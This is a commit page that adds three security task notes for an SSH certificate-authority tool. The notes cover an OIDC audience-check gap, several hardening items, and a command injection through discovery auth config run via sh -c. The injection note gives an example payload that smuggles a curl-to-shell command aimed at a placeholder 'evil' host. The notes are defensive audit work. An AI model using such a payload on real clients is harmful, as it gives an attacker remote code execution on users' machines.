Skip to content

Commit 5f65814

Browse files
committed
several security related tasks
1 parent 80051ac commit 5f65814

3 files changed

Lines changed: 106 additions & 0 deletions

File tree

.tasks/open/1g8ka9wq.md

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
---
2+
yatl_version: 1
3+
title: 'Security: OIDC validator skips audience check when client_id empty'
4+
id: 1g8ka9wq
5+
created: 2026-06-23T16:52:29.960526897Z
6+
updated: 2026-06-23T16:52:29.960526897Z
7+
author: Brian McCallister
8+
priority: medium
9+
tags:
10+
- security
11+
- policyserver
12+
---
13+
14+
OIDC validator silently disables audience check when ClientID is empty.
15+
16+
Severity: MEDIUM (library footgun; not exploitable in the default server config)
17+
18+
Location: pkg/policyserver/oidc/validator.go:83-88
19+
20+
if config.ClientID != "" {
21+
verifierConfig.ClientID = config.ClientID
22+
} else {
23+
verifierConfig.SkipClientIDCheck = true // accepts ANY audience
24+
}
25+
26+
With an empty ClientID, any token signed by the issuer is accepted regardless of its aud claim. Against a shared IdP (e.g. Google) an ID token minted for a DIFFERENT OAuth client at the same issuer would validate -> authentication bypass via token reuse. SkipExpiryCheck is similarly exposed on the Config.
27+
28+
Why it is not currently exploitable end-to-end: ServerConfig.Validate() and PolicyRulesConfig.Validate() (pkg/policyserver/policy_config.go:38,134) require oidc.client_id, and the evaluator always passes it (pkg/policyserver/evaluator/evaluator.go:35,52). But the Validator is exported and enforces nothing itself; any other caller or future refactor silently loses audience binding.
29+
30+
Fix: make NewValidator reject an empty ClientID (or require an explicit SkipClientIDCheck opt-in field) rather than silently degrading. Consider the same for SkipExpiryCheck.
31+
32+
---
33+
# Log: 2026-06-23T16:52:29Z Brian McCallister
34+
35+
Created task.

.tasks/open/kwxdbey2.md

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
---
2+
yatl_version: 1
3+
title: 'Security hardening: signature replay window, --insecure scope, plain-HTTP policy fetch'
4+
id: kwxdbey2
5+
created: 2026-06-23T16:52:29.964019493Z
6+
updated: 2026-06-23T16:52:29.964019493Z
7+
author: Brian McCallister
8+
priority: low
9+
tags:
10+
- security
11+
- hardening
12+
---
13+
14+
Hardening: defense-in-depth items from the security review. Low severity, grouped.
15+
16+
1) Replayable HTTP signatures (pkg/httpsig/httpsig.go:22-29)
17+
- 30s expiry + 60s skew window, no nonce/jti. CA->policy requests are replayable for ~90s. Low risk over unix socket/TLS, but a nonce or tighter window would harden the only authenticated channel into the policy server.
18+
19+
2) --insecure is broad and propagated (pkg/tlsconfig/tlsconfig.go:39)
20+
- InsecureSkipVerify applies to CA, OIDC discovery/JWKS, AND policy fetch; cmd/epithet/server.go:134 forwards it to all subprocesses. One flag disables all cert verification, including OIDC signing-key retrieval. Consider scoping more narrowly and/or a louder runtime warning.
21+
22+
3) Dynamic policy fetched over plain HTTP (pkg/policyserver/loader.go:99)
23+
- loadFromHTTP accepts http:// for the security-critical policy document with no integrity check; tlsconfig.ValidateURL is NOT applied here. Operator-controlled URL, but an on-path attacker on that hop could rewrite authorization rules. Enforce https:// (or signature) for remote policy URLs.
24+
25+
4) Stale run-dir cleanup trusts PID liveness (cmd/epithet/agent.go cleanupStaleRunDirs)
26+
- A recycled PID can keep a dead broker run dir alive, or a same-named live process blocks cleanup. Reliability nit, not a direct vuln.
27+
28+
---
29+
# Log: 2026-06-23T16:52:29Z Brian McCallister
30+
31+
Created task.

.tasks/open/t761tcz9.md

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
---
2+
yatl_version: 1
3+
title: 'Security: command injection via CA discovery auth config (sh -c)'
4+
id: t761tcz9
5+
created: 2026-06-23T16:52:14.316555336Z
6+
updated: 2026-06-23T16:52:14.316555336Z
7+
author: Brian McCallister
8+
priority: critical
9+
tags:
10+
- security
11+
- broker
12+
---
13+
14+
Command injection / RCE on clients via CA-controlled discovery auth config.
15+
16+
Severity: HIGH
17+
18+
When `epithet agent` runs without --auth (the documented default — host patterns come from CA discovery), the broker fetches the discovery config from the CA and turns it into the auth command it executes via `sh -c`.
19+
20+
Chain:
21+
- cmd/epithet/agent.go:135 — authCommand = broker.AuthConfigToCommand(*discovery.Auth)
22+
- pkg/broker/auth.go:174 (AuthConfigToCommand) — for type "oidc", issuer/client_id/scopes are joined UNESCAPED via strings.Join(parts, " "); for type "command" the command is used as-is.
23+
- pkg/broker/auth.go:101 — exec.Command("sh", "-c", cmdLine) executes it.
24+
25+
A malicious/compromised CA or policy server (or an active MITM when --insecure is set) can return a discovery payload like:
26+
{"auth":{"type":"oidc","issuer":"x; curl http://evil/x | sh #","client_id":"y"}}
27+
yielding arbitrary code execution as the connecting user on EVERY client. Discovery is fetched unauthenticated (agent.go:126, empty token), so first contact is enough.
28+
29+
Trust-model problem: "I trust this CA to issue SSH certs" is much weaker than "I let this CA run code as my user." Operators also treat issuer/client_id as inert data, not shell input.
30+
31+
Fix options:
32+
- Build an argv and exec directly (no sh -c) for discovery-derived auth.
33+
- Strictly validate discovery values: issuer must parse as https:// URL; client_id/scopes against a charset allowlist.
34+
- Require explicit user opt-in before running a discovery-provided type:"command".
35+
- Add a regression test feeding hostile discovery values.
36+
37+
---
38+
# Log: 2026-06-23T16:52:14Z Brian McCallister
39+
40+
Created task.

0 commit comments

Comments
 (0)